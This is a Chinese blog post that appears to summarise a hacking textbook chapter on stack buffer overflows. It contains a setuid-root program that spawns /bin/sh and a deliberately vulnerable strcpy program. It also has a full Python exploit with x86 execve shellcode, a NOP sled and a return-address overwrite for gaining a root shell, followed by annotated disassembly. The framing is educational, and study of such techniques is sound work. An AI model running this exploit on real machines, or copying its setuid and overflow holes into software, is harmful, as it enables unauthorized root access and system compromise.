《黑客攻防技术-系统实战》--利用缓冲区溢出执行任意代码

让普通用户用管理员权限运行程序

原理:

  Linux FreeBSD 中有一个用来修改密码的命令“passwd”。 密码一般保存在 /etc/master.passwd/etc/passwd /etc/shadow 等中, 没有 root 权限的用户是无法修改这些文件的。

       然而, 如果只有 root 才能修改密码, 使用起来就会很不方便, 于是我们需要一个机制让普通用户也能够临时借用管理员权限, 这个机制就是setuidsetuid 的功能是让用户使用程序的所有者权限来运行程序 

实例测试

 1 #include <unistd.h>
 2 #include <sys/types.h>
 3 int main(int argc, char *argv[])
 4 {
 5   char *data[2];
 6   char *exe = "/bin/sh";
 7   data[0] = exe;
 8   data[1] = NULL;
 9   setuid(0);
10   execve(data[0], data, NULL);
11   return 0;
12 }

root 权限编译该程序, 然后设置 setuid

gcc -Wall pass.c -o pass

如果可以以root权限进程shell操作,后果也是很严重的

  

获取root权限 

 1 #include <stdio.h>
 2 #include <string.h>
 3 unsigned long get_sp(void)
 4 {
 5     __asm__("movl %esp, %eax");
 6 }
 7 int cpy(char *str)
 8 {
 9     char buff[64];
10     printf("0x%08lx", get_sp() + 0x10);
11     getchar();
12     strcpy(buff, str);
13     return 0;
14 } 
15 int main(int argc, char *argv[]){
16     cpy(argv[1]);
17     return 0;
18 }
 1 #!/usr/local/bin/python
 2 
 3 import sys
 4 from struct import *
 5 if len(sys.argv) != 2:
 6     addr = 0x41414141
 7 else:
 8     addr = int(sys.argv[1], 16)
 9 s = ""
10 s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8
11 s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16
12 s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24
13 s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32
14 s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40
15 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48
16 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56
17 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64
18 s += "\x90\x90\x90\x90"+pack('<L',addr) #72
19 sys.stdout.write(s)

测试:

sample3.c 的 cpy 函数会将输入的字符串原原本本地复制到一块只有 64字节的内存空间中。 由于字符串是由用户任意输入的, 因此如果将
exploit.py 的输出结果输入给 sample3.c, 我们就成功地以所有者(root)权限运行了 /bin/sh

 

如何执行任意代码

 1 #include <stdio.h>
 2 void func(int x, int y, int z)
 3 {
 4     int a;
 5     char buff[8];
 6 } 
 7 int main(void)
 8 {
 9     func(1, 2, 3);
10     return 0;
11 }

反汇编:

加-m32

 1     .file    "sam.c"
 2     .text
 3     .globl    func
 4     .type    func, @function
 5 func:
 6 .LFB0:
 7     .cfi_startproc
 8     endbr32
 9     pushl    %ebp
10     .cfi_def_cfa_offset 8
11     .cfi_offset 5, -8
12     movl    %esp, %ebp
13     .cfi_def_cfa_register 5
14     subl    $24, %esp
15     call    __x86.get_pc_thunk.ax
16     addl    $_GLOBAL_OFFSET_TABLE_, %eax
17     movl    %gs:20, %eax
18     movl    %eax, -12(%ebp)
19     xorl    %eax, %eax
20     nop
21     movl    -12(%ebp), %eax
22     xorl    %gs:20, %eax
23     je    .L2
24     call    __stack_chk_fail_local
25 .L2:
26     leave
27     .cfi_restore 5
28     .cfi_def_cfa 4, 4
29     ret
30     .cfi_endproc
31 .LFE0:
32     .size    func, .-func
33     .globl    main
34     .type    main, @function
35 main:
36 .LFB1:
37     .cfi_startproc
38     endbr32
39     leal    4(%esp), %ecx
40     .cfi_def_cfa 1, 0
41     andl    $-16, %esp
42     pushl    -4(%ecx)
43     pushl    %ebp
44     .cfi_escape 0x10,0x5,0x2,0x75,0
45     movl    %esp, %ebp
46     pushl    %ecx
47     .cfi_escape 0xf,0x3,0x75,0x7c,0x6
48     subl    $4, %esp
49     call    __x86.get_pc_thunk.ax
50     addl    $_GLOBAL_OFFSET_TABLE_, %eax
51     subl    $4, %esp
52     pushl    $3
53     pushl    $2
54     pushl    $1
55     call    func
56     addl    $16, %esp
57     movl    $0, %eax
58     movl    -4(%ebp), %ecx
59     .cfi_def_cfa 1, 0
60     leave
61     .cfi_restore 5
62     leal    -4(%ecx), %esp
63     .cfi_def_cfa 4, 4
64     ret
65     .cfi_endproc
66 .LFE1:
67     .size    main, .-main
68     .section    .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
69     .globl    __x86.get_pc_thunk.ax
70     .hidden    __x86.get_pc_thunk.ax
71     .type    __x86.get_pc_thunk.ax, @function
72 __x86.get_pc_thunk.ax:
73 .LFB2:
74     .cfi_startproc
75     movl    (%esp), %eax
76     ret
77     .cfi_endproc
78 .LFE2:
79     .hidden    __stack_chk_fail_local
80     .ident    "GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0"
81     .section    .note.GNU-stack,"",@progbits
82     .section    .note.gnu.property,"a"
83     .align 4
84     .long     1f - 0f
85     .long     4f - 1f
86     .long     5
87 0:
88     .string     "GNU"
89 1:
90     .align 4
91     .long     0xc0000002
92     .long     3f - 2f
93 2:
94     .long     0x3
95 3:
96     .align 4
97 4:

红色标记将参数入栈,然后call 执行fun函数;和 jmp 不同, call 必须记住调用时当前指令的地址, 因此在跳转到子程序的地址之前, 需要先将返回地址(ret_addr) push 到栈中。

当调用 func 函数时, 在跳转到函数起始地址的瞬间, 栈的情形如下图所示

程序又执行了 push ebp, esp 继续递减, 为函数内部的局部变量分配内存空间

如果数据溢出:
数组 buff 后面的 %ebp、 ret_addr 以及传递给 func 函数的参数都会被溢出的数据覆盖掉

ret_addr 存放的是函数逻辑结束后返回 main 函数的目标地址。 如果覆盖了 ret_addr, 攻击者就可以让程序跳转到任意地址。 如果攻击者事先准备一段代码, 然后让程序跳转到这段代码, 也就相当于
成功攻击了“可执行任意代码的漏洞

posted @ 2020-05-17 23:47  坚持,每天进步一点点  阅读(978)  评论(0编辑  收藏  举报